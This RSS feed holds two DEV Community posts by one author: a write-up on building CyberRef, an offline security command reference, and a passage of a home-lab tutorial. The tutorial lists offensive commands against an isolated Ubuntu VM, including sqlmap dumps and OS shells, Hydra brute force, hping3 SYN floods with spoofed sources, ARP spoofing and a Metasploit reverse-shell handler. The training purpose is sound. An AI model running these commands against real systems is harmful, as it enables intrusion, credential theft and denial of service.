<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Elijah Abolaji M.N.C.S</title>
    <description>The latest articles on DEV Community by Elijah Abolaji M.N.C.S (@toyosee).</description>
    <link>https://dev.to/toyosee</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F4134058%2F7c47f625-b54d-4cf0-8cdb-21c75520e038.png</url>
      <title>DEV Community: Elijah Abolaji M.N.C.S</title>
      <link>https://dev.to/toyosee</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/toyosee"/>
    <language>en</language>
    <item>
      <title>Building CyberRef: A Single-Binary Offline Reference for Cybersecurity Practitioners</title>
      <dc:creator>Elijah Abolaji M.N.C.S</dc:creator>
      <pubDate>Sun, 04 Oct 2026 18:58:07 +0000</pubDate>
      <link>https://dev.to/toyosee/building-cyberref-a-single-binary-offline-reference-for-cybersecurity-practitioners-2hfg</link>
      <guid>https://dev.to/toyosee/building-cyberref-a-single-binary-offline-reference-for-cybersecurity-practitioners-2hfg</guid>
      <description>&lt;p&gt;I built CyberRef to solve a problem I kept seeing in labs and on engagements: nobody remembers the exact syntax of a command under pressure.&lt;/p&gt;

&lt;p&gt;You know the command exists. You know roughly what it does. But it's 2 AM during an incident, or you're mid-engagement with a client watching, and the exact flags slip away. So you open twelve tabs of cheatsheets, dig through your notes app, ask Slack — and twenty minutes disappear on something you knew cold last week.&lt;/p&gt;

&lt;p&gt;CyberRef is my attempt to fix that. This article is a walkthrough of what it does, the design decisions behind it, and what I learned building it.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What It Is&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;A single binary you download and run. It opens a local web UI at &lt;a href="http://localhost:8787" rel="noopener noreferrer"&gt;http://localhost:8787&lt;/a&gt; with a searchable command reference and a set of guided lab scenarios.&lt;/p&gt;

&lt;p&gt;No install. No server. No internet required. Everything is embedded — the UI, the datasets, the assets.&lt;/p&gt;

&lt;p&gt;Written in Go for the backend, Alpine.js + vanilla CSS for the frontend, all served from one binary via embed.FS.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Why Offline-First&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Most cheat-sheet tools are websites. That's fine until you're in an air-gapped lab, an isolated client environment, or a VM with no network egress. In those settings, an online tool is dead on arrival.&lt;/p&gt;

&lt;p&gt;Offline-first isn't a limitation — it's a constraint that shaped every decision:&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Data is embedded at build time. YAML files are compiled into the binary via go:embed. No external file reads at runtime.

No network calls at startup. The binary doesn't phone home, doesn't check for updates, doesn't do telemetry.

Stateless by default. Nothing is written to disk unless the user explicitly exports something.

Single binary distribution. One .exe on Windows. Copy it to a USB stick, run it on any machine.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;This means the tool works in the environments where cyber work actually happens — not just where developers are comfortable.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Why Not React&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The obvious frontend choice would have been React with Vite and a build pipeline. I went with vanilla HTML/CSS/JS + Alpine.js instead. Here's why:&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;go build must be the only build command. A React pipeline adds Node, npm, a bundler, and version drift. Two toolchains for a lookup tool is overkill.

Alpine.js gives 80% of React's ergonomics in one &amp;lt;script&amp;gt; tag. Declarative bindings, reactivity, x-for, x-if — everything a searchable list needs.

No dist/ folder to embed. The HTML, CSS, and JS files are the final artifacts. go:embed picks them up directly.

Zero framework churn. Alpine v3 will keep working in five years. React 18 will be replaced by React 21 by then.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;For a searchable, filterable, well-formatted reference tool, this is the right tradeoff. React would have been solving a problem I didn't have.&lt;br&gt;
The Placeholder Substitution Feature&lt;/p&gt;

&lt;p&gt;This is the feature that turned CyberRef from a nice-to-have into a tool people actually use.&lt;/p&gt;

&lt;p&gt;Commands like nmap -A -p- {TARGET} aren't directly paste-ready. {TARGET} is a placeholder that must be replaced. CyberRef scans each command for {TOKEN} patterns and renders an inline input for each one:&lt;br&gt;
A few things make this work well:&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Values persist across sessions. Type your lab IP once, and every command using {TARGET} reuses it.

YAML defaults pre-fill inputs. When a scenario specifies placeholders: { TARGET: "10.10.10.5" }, the input starts populated.

Copy gives you the substituted version. Not the template. The ready-to-paste command.

Values are shared across commands and scenarios. Configure once for an engagement, use everywhere.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;Twenty lines of Alpine state plus a localStorage wrapper. Small feature, huge UX impact.&lt;br&gt;
The Scenario Layer&lt;/p&gt;

&lt;p&gt;A command reference is table stakes. The real problem in cyber training isn't "what's the command" — it's "what's the sequence, and why."&lt;/p&gt;

&lt;p&gt;In v0.3 I added a scenario layer. Each scenario is a guided workflow with:&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Narrative overview — what the technique is, why it matters

Prerequisites — what you need before starting

Steps — ordered commands with rationale, expected output, and notes

Defense — hardening, detection, and response guidance

References — MITRE ATT&amp;amp;CK, OWASP, vendor docs
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;The scenarios are mapped to the Cyber Kill Chain, MITRE ATT&amp;amp;CK, and the CIA triad. This is important — it turns a command list into a curriculum.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Blue-Team Content&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;In v0.4 I added the first blue-team scenario — Log Analysis &amp;amp; Detection Engineering — plus purple-team notes on every attack scenario.&lt;/p&gt;

&lt;p&gt;Purple team notes are the connective tissue. They answer the question: "How do I run this attack and watch it get detected at the same time?"&lt;/p&gt;

&lt;p&gt;For example, on the Kerberoasting scenario:&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Detection is easiest when 4769 events are forwarded to a SIEM. Filter for RC4 (0x17) ticket encryptions — modern AD should only see AES in normal operations. Any RC4 TGS is worth investigating.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;This is different from the Defense panel. The Defense panel lists what to monitor. The Purple Team Notes explain how to actually run the exercise.&lt;/p&gt;

&lt;p&gt;Blue-team content also includes ready-to-run SIEM queries for Splunk, Elastic, and Wazuh. Copy, paste, run. No translation needed.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What I Learned&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;Constraints make the product better. Offline-first, single-binary, no-build-step — these weren't compromises. They were features. Every one of them made the tool faster, simpler, and more usable in the environments where it matters.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Ship small, ship often. The progression was:&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;ul&gt;
&lt;li&gt;    v0.2 — command reference with placeholders&lt;/li&gt;
&lt;li&gt;    v0.3 — scenarios + export&lt;/li&gt;
&lt;li&gt;    v0.3.1 — favorites &amp;amp; recents&lt;/li&gt;
&lt;li&gt;    v0.3.2 — filters &amp;amp; command palette&lt;/li&gt;
&lt;li&gt;    v0.4 — attack lifecycle depth + blue-team content&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Each release solved one thing well. Nobody had to wait six months for a "big update."&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;Users tell you what to build next. The favorites feature came from watching how I used the tool myself. The command palette came from friends who said "We want to jump to a command without leaving the keyboard." Real friction beats planned roadmaps.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Some things don't need to be fancy. embed.FS + net/http + Alpine.js. No ORM, no state management library, no container. Just three external Go dependencies and one vendored JS file. The simplicity is the point.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;strong&gt;What's Next&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Planned for v0.5:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;    Windows / Active Directory — native commands and AD-focused scenarios&lt;/li&gt;
&lt;li&gt;    CLI companion — cyberref search "kerb" from the terminal, reusing the same data&lt;/li&gt;
&lt;li&gt;    PowerShell export — for scenarios, alongside the current bash export&lt;/li&gt;
&lt;li&gt;    Light theme — for bright environments&lt;/li&gt;
&lt;li&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Signed binaries — to remove the Windows SmartScreen warning
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;**&lt;br&gt;
Longer term:**&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Community scenario contribution format
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;li&gt;&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Documentation site
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;li&gt;&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Multi-platform binaries (macOS, Linux)
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Try It&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Download: &lt;a href="https://github.com/toyosee/cyberref-releases/releases" rel="noopener noreferrer"&gt;https://github.com/toyosee/cyberref-releases/releases&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Run: Double-click cyberref.exe. Browser opens. That's the whole setup.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Note on Windows SmartScreen&lt;/strong&gt;: You'll likely see a "Windows protected your PC" warning. This is normal for unsigned binaries. Click More info → Run anyway. Code signing is on the roadmap.&lt;br&gt;
Feedback Welcome&lt;/p&gt;

&lt;p&gt;If you're a practitioner — red, blue, or somewhere in between — I'd love to hear:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;    What commands or scenarios are missing that you'd use?&lt;/li&gt;
&lt;li&gt;    What friction points does the tool not solve yet?&lt;/li&gt;
&lt;li&gt;    What would make it part of your daily workflow?&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Open an issue on the releases repo, or find me on LinkedIn. - &lt;a href="https://linkedin.com/in/elijahabolaji" rel="noopener noreferrer"&gt;https://linkedin.com/in/elijahabolaji&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;CyberRef is written in Go, uses Alpine.js for the frontend, and ships as a single binary for Windows with macOS and Linux builds planned. Source is maintained privately; binaries are released publicly.&lt;/p&gt;

</description>
      <category>go</category>
      <category>showdev</category>
      <category>security</category>
      <category>opensource</category>
    </item>
    <item>
      <title>How to Build a Safe, Isolated Cybersecurity Home Lab (Kali + Ubuntu)</title>
      <dc:creator>Elijah Abolaji M.N.C.S</dc:creator>
      <pubDate>Sun, 20 Sep 2026 12:13:17 +0000</pubDate>
      <link>https://dev.to/toyosee/how-to-build-a-safe-isolated-cybersecurity-home-lab-kali-ubuntu-4e40</link>
      <guid>https://dev.to/toyosee/how-to-build-a-safe-isolated-cybersecurity-home-lab-kali-ubuntu-4e40</guid>
      <description>&lt;p&gt;Reading about a SQL injection isn't the same as triggering one yourself and watching the database dump on screen. That's why I built my own home lab, and why I wrote this guide to help you build yours.&lt;/p&gt;

&lt;p&gt;A cybersecurity home lab is a small, self-contained network you build on your own computer, entirely cut off from the internet and your home network. You run two virtual machines: one plays the attacker (Kali Linux, loaded with security tools) and the other plays the target (Ubuntu Server, configured with intentionally vulnerable services).&lt;/p&gt;

&lt;p&gt;You then practice the same techniques real penetration testers use, scanning, exploiting, monitoring, and defending, without any risk to a real system.&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;My name is Elijah Abolaji, and I developed this guide for educational purposes only.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;⚠️ Legal &amp;amp; Ethical Ground Rules&lt;/p&gt;

&lt;p&gt;Every tool in this guide is dual-use: the same command that finds a vulnerability in your lab can cause real damages, and real legal consequences. If pointed at a system you don't own.&lt;/p&gt;

&lt;p&gt;Rule #1: Only ever run these tools against machines you personally own or have explicit written authorization to test. In this guide, that means the Ubuntu VM you build yourself, on an isolated virtual network with no route to the internet or your home Wi-Fi.&lt;/p&gt;

&lt;p&gt;Rule #2: Unauthorized scanning, exploitation, or denial-of-service against systems you don't control is illegal in most countries (including Nigeria), even when done "just to learn." Keep this lab air-gapped from anything else.&lt;br&gt;
🖥️ Hardware Requirements&lt;/p&gt;

&lt;p&gt;For a smooth-running lab, you'll need a computer with:&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;4-core processor

16GB RAM

SSD storage
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;Anything below this still works, but not efficiently.&lt;/p&gt;

&lt;p&gt;🛠️ Step 1: Install VirtualBox&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Go to virtualbox.org and open the Downloads page.

Download the installer for your host OS (Windows / macOS / Linux).

Run the installer and accept the default options.

Also download the matching VirtualBox Extension Pack from the same page and install it from inside VirtualBox (File → Preferences → Extensions). It adds USB and network features you'll want later.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;🐉 Step 2: Download &amp;amp; Install Kali Linux (Attacker)&lt;/p&gt;

&lt;p&gt;What is Kali? A Debian-based distribution pre-loaded with hundreds of security and penetration-testing tools: Nmap, Metasploit, Burp Suite, SQLmap, and everything else in Part 1 of this guide.&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Go to kali.org/get-kali and choose Virtual Machines.

Download the pre-built VirtualBox image (a .7z file) that matches your CPU architecture—this is faster than installing from an ISO.

Extract the archive, then in VirtualBox choose File → Import Appliance and select the extracted .vbox file.

Once imported, start the VM. Default credentials are username: kali, password: kali—change the password immediately with passwd.

Update the tool set:
bash

sudo apt update &amp;amp;&amp;amp; sudo apt full-upgrade -y
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;🐧 Step 3: Download &amp;amp; Install Ubuntu Server (Target)&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Go to ubuntu.com/download/server and download the latest Ubuntu Server LTS ISO.

In VirtualBox, click New, name the VM "Ubuntu-Target" (or any preferred name), and attach the ISO as the virtual optical drive.

Give it at least 2 GB RAM and 20 GB disk, then follow the installer, accepting default partitioning.

When prompted, install the OpenSSH server option so Kali can connect to it later.

After installation completes, remove the ISO from the virtual drive and reboot.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;🔒 Step 4: Building the Isolated Lab Network&lt;/p&gt;

&lt;p&gt;This is the most important safety step in the whole guide. You want Kali and Ubuntu to talk to each other, but not to anything else.&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;In VirtualBox: File → Host Network Manager → create a Host-Only Network (e.g., vboxnet0, range 192.168.100.0/24).

Kali VM → Settings → Network → Adapter 1 → attach to Host-only Adapter → choose vboxnet0.

Repeat for the Ubuntu VM, attaching it to the same host-only network. Set IP addresses for both machines and use the default gateway in the same subnet.

Boot both VMs and confirm they can see each other:
bash

# From Kali
ping 192.168.100.20
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;Both VMs sit on the same Host-Only network (192.168.100.0/24)—isolated from your home Wi-Fi and the internet.&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Double-check: A Host-Only network has no route to the internet by design. If you also attach a NAT adapter for updates, DoS/exploitation traffic should still only ever target 192.168.100.20.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;🔍 Step 5: Reconnaissance &amp;amp; Scanning (from Kali)&lt;/p&gt;

&lt;p&gt;Everything below runs on the Kali VM, targeting the Ubuntu VM's IP (192.168.100.20).&lt;/p&gt;

&lt;p&gt;Goal: Find out what's alive on the network and which ports/services are open before touching anything.&lt;br&gt;
bash&lt;/p&gt;

&lt;h1&gt;
  
  
  Host discovery &amp;amp; port scanning
&lt;/h1&gt;

&lt;p&gt;nmap 192.168.100.0/24           # scan the subnet&lt;br&gt;
nmap -sn 192.168.100.0/24       # ping sweep&lt;br&gt;
nmap -p- 192.168.100.20         # all 65535 ports&lt;br&gt;
sudo nmap -sS 192.168.100.20    # SYN stealth scan&lt;/p&gt;

&lt;h1&gt;
  
  
  Service &amp;amp; OS detection
&lt;/h1&gt;

&lt;p&gt;sudo nmap -A 192.168.100.20     # OS, version, scripts&lt;br&gt;
sudo nmap -sV -p- 192.168.100.20 # version detect, all ports&lt;br&gt;
sudo nmap -O 192.168.100.20     # OS fingerprinting&lt;/p&gt;

&lt;h1&gt;
  
  
  Nmap Scripting Engine (NSE)
&lt;/h1&gt;

&lt;p&gt;nmap --script vuln 192.168.100.20&lt;br&gt;
nmap -p 22 --script ssh-auth-methods,ssh-hostkey 192.168.100.20&lt;br&gt;
nmap -p 80 --script http-enum,http-headers 192.168.100.20&lt;/p&gt;

&lt;p&gt;Tip: Save your scan output: nmap -oA scan 192.168.100.20 writes normal, XML, and grepable formats at once.&lt;br&gt;
🌐 Step 6: Web Enumeration&lt;/p&gt;

&lt;p&gt;Goal: Once port 80/443 is open, map out what the web application actually contains: hidden directories, files, misconfigurations.&lt;br&gt;
bash&lt;/p&gt;

&lt;h1&gt;
  
  
  Directory brute-forcing
&lt;/h1&gt;

&lt;p&gt;gobuster dir -u &lt;a href="http://192.168.100.20" rel="noopener noreferrer"&gt;http://192.168.100.20&lt;/a&gt; -w /usr/share/wordlists/dirb/common.txt&lt;br&gt;
feroxbuster -u &lt;a href="http://192.168.100.20" rel="noopener noreferrer"&gt;http://192.168.100.20&lt;/a&gt; -w /usr/share/seclists/Discovery/Web-Content/common.txt&lt;/p&gt;

&lt;h1&gt;
  
  
  Automated &amp;amp; manual scanning
&lt;/h1&gt;

&lt;p&gt;nikto -h &lt;a href="http://192.168.100.20" rel="noopener noreferrer"&gt;http://192.168.100.20&lt;/a&gt;       # automated vulnerability scanner&lt;br&gt;
curl -i &lt;a href="http://192.168.100.20" rel="noopener noreferrer"&gt;http://192.168.100.20&lt;/a&gt;        # view response headers&lt;br&gt;
curl -X POST -d "id=1" &lt;a href="http://192.168.100.20/vulnerable.php" rel="noopener noreferrer"&gt;http://192.168.100.20/vulnerable.php&lt;/a&gt;&lt;br&gt;
burpsuite                            # launch the Burp Suite proxy (GUI)&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Note: Burp Suite's proxy is how you'll capture authenticated requests (with login cookies) to feed into SQLmap on the next step.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;💉 Step 7: SQL Injection with SQLmap&lt;/p&gt;

&lt;p&gt;Goal: Confirm and exploit an injectable parameter to prove data can be extracted—this is why DVWA on the Ubuntu target exists.&lt;br&gt;
bash&lt;/p&gt;

&lt;h1&gt;
  
  
  Basic usage
&lt;/h1&gt;

&lt;p&gt;sqlmap -u "&lt;a href="http://192.168.100.20/page.php?id=1" rel="noopener noreferrer"&gt;http://192.168.100.20/page.php?id=1&lt;/a&gt;" --batch&lt;br&gt;
sqlmap -u "&lt;a href="http://192.168.100.20/page.php?id=1" rel="noopener noreferrer"&gt;http://192.168.100.20/page.php?id=1&lt;/a&gt;" --dbs&lt;br&gt;
sqlmap -u "&lt;a href="http://192.168.100.20/page.php?id=1" rel="noopener noreferrer"&gt;http://192.168.100.20/page.php?id=1&lt;/a&gt;" -D dwva --tables&lt;br&gt;
sqlmap -u "&lt;a href="http://192.168.100.20/page.php?id=1" rel="noopener noreferrer"&gt;http://192.168.100.20/page.php?id=1&lt;/a&gt;" -D dwva -T users --dump&lt;/p&gt;

&lt;h1&gt;
  
  
  Using a captured request (with auth cookies)
&lt;/h1&gt;

&lt;p&gt;sqlmap -r request.txt --batch --dbs&lt;br&gt;
sqlmap -r request.txt --batch -D dwva -T users --dump&lt;/p&gt;

&lt;h1&gt;
  
  
  Advanced options
&lt;/h1&gt;

&lt;p&gt;sqlmap -r request.txt --batch --level=5 --risk=3   # more thorough&lt;br&gt;
sqlmap -r request.txt --batch --os-shell           # attempt OS shell&lt;br&gt;
sqlmap -r request.txt --batch --tamper=space2comment # WAF bypass&lt;/p&gt;

&lt;p&gt;🔑 Step 8: Password Attacks&lt;/p&gt;

&lt;p&gt;Goal: Test whether weak or default credentials on the Ubuntu target can be guessed—a huge share of real breaches start exactly this way.&lt;br&gt;
bash&lt;/p&gt;

&lt;h1&gt;
  
  
  Hydra - online brute force
&lt;/h1&gt;

&lt;p&gt;hydra -L users.txt -P pass.txt ssh://192.168.100.20 -t 4 -V&lt;br&gt;
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://192.168.100.20&lt;br&gt;
hydra -L users.txt -P pass.txt http-post-form "/login:user=^USER^&amp;amp;pass=^PASS^:Invalid"&lt;/p&gt;

&lt;h1&gt;
  
  
  John the Ripper - offline cracking
&lt;/h1&gt;

&lt;p&gt;john --wordlist=rockyou.txt hashes.txt&lt;br&gt;
john --format=raw-md5 --wordlist=rockyou.txt hash.txt&lt;/p&gt;

&lt;h1&gt;
  
  
  Hashcat - GPU cracking
&lt;/h1&gt;

&lt;p&gt;hashcat -m 0 hash.txt rockyou.txt      # MD5&lt;br&gt;
hashcat -m 1000 hash.txt rockyou.txt   # NTLM&lt;/p&gt;

&lt;p&gt;Tool    Best for&lt;br&gt;
Hydra   Live login attempts against a running service (SSH, web forms)&lt;br&gt;
John the Ripper Cracking a password hash you already have, CPU-based&lt;br&gt;
Hashcat Cracking hashes fast using your GPU&lt;br&gt;
💥 Step 9: Denial of Service (DoS) Testing&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Lab only: These commands can knock a real server offline. Run them only against your own isolated Ubuntu-Target VM—never anything else.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;Before you start: hping3 ships with Kali by default. Install anything missing:&lt;br&gt;
bash&lt;/p&gt;

&lt;p&gt;sudo apt install -y hping3 slowhttptest apache2-utils&lt;/p&gt;

&lt;p&gt;bash&lt;/p&gt;

&lt;h1&gt;
  
  
  hping3 - flood attacks
&lt;/h1&gt;

&lt;p&gt;sudo hping3 -S --flood -p 80 192.168.100.20&lt;br&gt;
sudo hping3 -S --flood --rand-source -p 80 192.168.100.20&lt;br&gt;
sudo hping3 --udp --flood -p 80 192.168.100.20&lt;br&gt;
sudo hping3 --icmp --flood 192.168.100.20&lt;/p&gt;

&lt;h1&gt;
  
  
  slowhttptest - application-layer
&lt;/h1&gt;

&lt;p&gt;slowhttptest -B -c 1000 -i 10 -l 300 -u &lt;a href="http://192.168.100.20/" rel="noopener noreferrer"&gt;http://192.168.100.20/&lt;/a&gt; # Slow POST&lt;br&gt;
slowhttptest -R -c 1000 -i 10 -l 300 -u &lt;a href="http://192.168.100.20/" rel="noopener noreferrer"&gt;http://192.168.100.20/&lt;/a&gt; # Slow Read&lt;/p&gt;

&lt;h1&gt;
  
  
  Apache Benchmark - load testing
&lt;/h1&gt;

&lt;p&gt;ab -n 10000 -c 500 &lt;a href="http://192.168.100.20/" rel="noopener noreferrer"&gt;http://192.168.100.20/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;hping3 flags: -S SYN flag · --flood send as fast as possible · --rand-source spoof source IPs · -p destination port · -i u1000 interval in microseconds&lt;br&gt;
🕵️ Step 10: Sniffing &amp;amp; Man-in-the-Middle&lt;br&gt;
bash&lt;/p&gt;

&lt;h1&gt;
  
  
  Packet capture
&lt;/h1&gt;

&lt;p&gt;wireshark                                   # packet capture GUI&lt;br&gt;
sudo tcpdump -i eth0 -w capture.pcap&lt;br&gt;
sudo tcpdump -i eth0 port 80 -A&lt;br&gt;
sudo tcpdump -i eth0 host 192.168.100.20&lt;/p&gt;

&lt;h1&gt;
  
  
  ARP spoofing &amp;amp; MITM frameworks
&lt;/h1&gt;

&lt;p&gt;sudo arpspoof -i eth0 -t 192.168.100.20 192.168.100.1&lt;br&gt;
sudo arpspoof -i eth0 -t 192.168.100.1 192.168.100.20&lt;/p&gt;

&lt;p&gt;sudo ettercap -G                            # GUI&lt;br&gt;
sudo bettercap -iface eth0&lt;/p&gt;

&lt;p&gt;How this works: ARP spoofing tricks both the target and the gateway into sending traffic through your Kali machine first, letting Wireshark or bettercap see it in transit. This only works within the same local network segment—exactly what your host-only lab network provides.&lt;br&gt;
🧰 Step 11: Metasploit Framework&lt;/p&gt;

&lt;p&gt;Goal: Move from "this service looks vulnerable" to an actual working exploit against the Ubuntu target, using a pre-built module.&lt;br&gt;
bash&lt;/p&gt;

&lt;p&gt;sudo msfconsole&lt;/p&gt;

&lt;p&gt;Inside msfconsole:&lt;br&gt;
bash&lt;/p&gt;

&lt;p&gt;search ssh_login&lt;br&gt;
use auxiliary/scanner/ssh/ssh_login&lt;br&gt;
set RHOSTS 192.168.100.20&lt;br&gt;
set USERNAME testuser&lt;br&gt;
set PASSWORD password123&lt;br&gt;
run&lt;/p&gt;

&lt;p&gt;Reverse shell example:&lt;br&gt;
bash&lt;/p&gt;

&lt;p&gt;use exploit/multi/handler&lt;br&gt;
set PAYLOAD linux/x64/meterpreter/reverse_tcp&lt;br&gt;
set LHOST 192.168.100.10&lt;br&gt;
set LPORT 4444&lt;br&gt;
run&lt;/p&gt;

&lt;p&gt;📸 Step 12: Snapshot Management (VBoxManage)&lt;/p&gt;

&lt;p&gt;Why: Take a snapshot before every risky experiment so a botched exploit or a crashed service is one command away from undone. You can take the snapshot by opening the machine dialogue on the top-left of the VM or use the bash commands below.&lt;br&gt;
bash&lt;/p&gt;

&lt;p&gt;VBoxManage list vms&lt;br&gt;
VBoxManage snapshot "Kali" take "Snapshot-Name" --description "Description"&lt;br&gt;
VBoxManage snapshot "Kali" list&lt;br&gt;
VBoxManage snapshot "Kali" restore "Snapshot-Name"&lt;br&gt;
VBoxManage snapshot "Kali" delete "Snapshot-Name"&lt;/p&gt;

&lt;h1&gt;
  
  
  VM power control
&lt;/h1&gt;

&lt;p&gt;VBoxManage startvm "Kali" --type headless&lt;br&gt;
VBoxManage controlvm "Kali" poweroff&lt;/p&gt;

&lt;p&gt;⚙️ Part 2: Ubuntu Target Configuration&lt;/p&gt;

&lt;p&gt;Everything below runs on the Ubuntu VM, giving Kali a normal network stack and running services to find.&lt;br&gt;
Network &amp;amp; Service Configuration&lt;br&gt;
bash&lt;/p&gt;

&lt;h1&gt;
  
  
  Network configuration
&lt;/h1&gt;

&lt;p&gt;ip a                                    # check interfaces&lt;br&gt;
sudo nano /etc/netplan/01-netcfg.yaml   # static IP config&lt;br&gt;
sudo netplan apply                      # apply changes&lt;br&gt;
sudo netplan try                        # test, auto-rollback if it fails&lt;br&gt;
ping -c 3 192.168.100.10                # verify Kali is reachable&lt;/p&gt;

&lt;h1&gt;
  
  
  Service management
&lt;/h1&gt;

&lt;p&gt;sudo systemctl restart apache2&lt;br&gt;
sudo systemctl restart ssh&lt;br&gt;
sudo systemctl restart mariadb&lt;/p&gt;

&lt;p&gt;sudo systemctl status apache2&lt;br&gt;
sudo systemctl status ssh&lt;br&gt;
sudo systemctl status mariadb&lt;/p&gt;

&lt;h1&gt;
  
  
  Check listening ports
&lt;/h1&gt;

&lt;p&gt;ss -tlnp&lt;br&gt;
sudo netstat -tlnp&lt;/p&gt;

&lt;p&gt;SSH Server Setup&lt;br&gt;
bash&lt;/p&gt;

&lt;h1&gt;
  
  
  Install &amp;amp; enable
&lt;/h1&gt;

&lt;p&gt;sudo apt update&lt;br&gt;
sudo apt install -y openssh-server&lt;br&gt;
sudo systemctl enable --now ssh&lt;br&gt;
sudo systemctl status ssh&lt;/p&gt;

&lt;h1&gt;
  
  
  Create a test account &amp;amp; review config
&lt;/h1&gt;

&lt;p&gt;sudo adduser testuser                   # for Hydra practice&lt;br&gt;
sudo nano /etc/ssh/sshd_config&lt;/p&gt;

&lt;p&gt;Key options to inspect:&lt;br&gt;
text&lt;/p&gt;

&lt;p&gt;PermitRootLogin no&lt;br&gt;
PasswordAuthentication yes&lt;br&gt;
Port 22&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Why a test account? The Password Attacks section uses Hydra against SSH—create a deliberately weak-password account here so there's something realistic to crack in your own lab.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;MariaDB / MySQL Setup&lt;/p&gt;

